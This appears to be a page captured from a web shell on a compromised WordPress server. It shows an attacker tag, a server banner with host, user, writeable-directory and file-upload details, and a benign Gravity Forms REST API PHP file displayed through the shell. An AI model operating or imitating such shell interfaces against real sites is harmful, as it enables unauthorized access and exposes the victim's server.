Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/bamagocr/wp-content/plugins/gravityforms/includes/webapi/v2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/bamagocr/wp-content/plugins/gravityforms/includes/webapi/v2/class-gf-rest-api.php
<?php

if ( ! class_exists( 'GFForms' ) ) {
	die();
}

class GF_REST_API {
	/**
	 * Contains an instance of this class, if available.
	 *
	 * @since 2.4-beta-1
	 *
	 * @var object $_instance If available, contains an instance of this class
	 */
	private static $_instance = null;

	/**
	 * Returns an instance of this class, and stores it in the $_instance property.
	 *
	 * @since 2.4-beta-1
	 *
	 * @return GF_REST_API $_instance An instance of the GF_REST_API class
	 */
	public static function get_instance() {
		if ( self::$_instance == null ) {
			self::$_instance = new GF_REST_API();
		}

		return self::$_instance;
	}

	/**
	 * @since 2.4-beta-1
	 */
	private function __clone() {
	} /* do nothing */

	/**
	 * GF_REST_API constructor.
	 *
	 * @since 2.4-beta-1
	 */
	public function __construct() {
		add_action( 'rest_api_init', array( $this, 'register_rest_routes' ) );
	}

	/**
	 * Register REST API routes
	 *
	 * @since 2.4-beta-1
	 */
	public function register_rest_routes() {
		$controllers = array(
			'GF_REST_Entries_Controller',
			'GF_REST_Entry_Properties_Controller',
			'GF_REST_Entry_Notifications_Controller',
			'GF_REST_Notes_Controller',
			'GF_REST_Entry_Notes_Controller',
			'GF_REST_Form_Entries_Controller',
			'GF_REST_Form_Results_Controller',
			'GF_REST_Form_Submissions_Controller',
			'GF_REST_Form_Submissions_Validation_Controller',
			'GF_REST_Forms_Controller',
			'GF_REST_Feeds_Controller',
			'GF_REST_Form_Feeds_Controller',
			'GF_REST_Form_Field_Filters_Controller',
			'GF_REST_Feed_Properties_Controller',
		);

		foreach ( $controllers as $controller ) {
			$controller_obj = new $controller();
			$controller_obj->register_routes();
		}
	}

}

Hry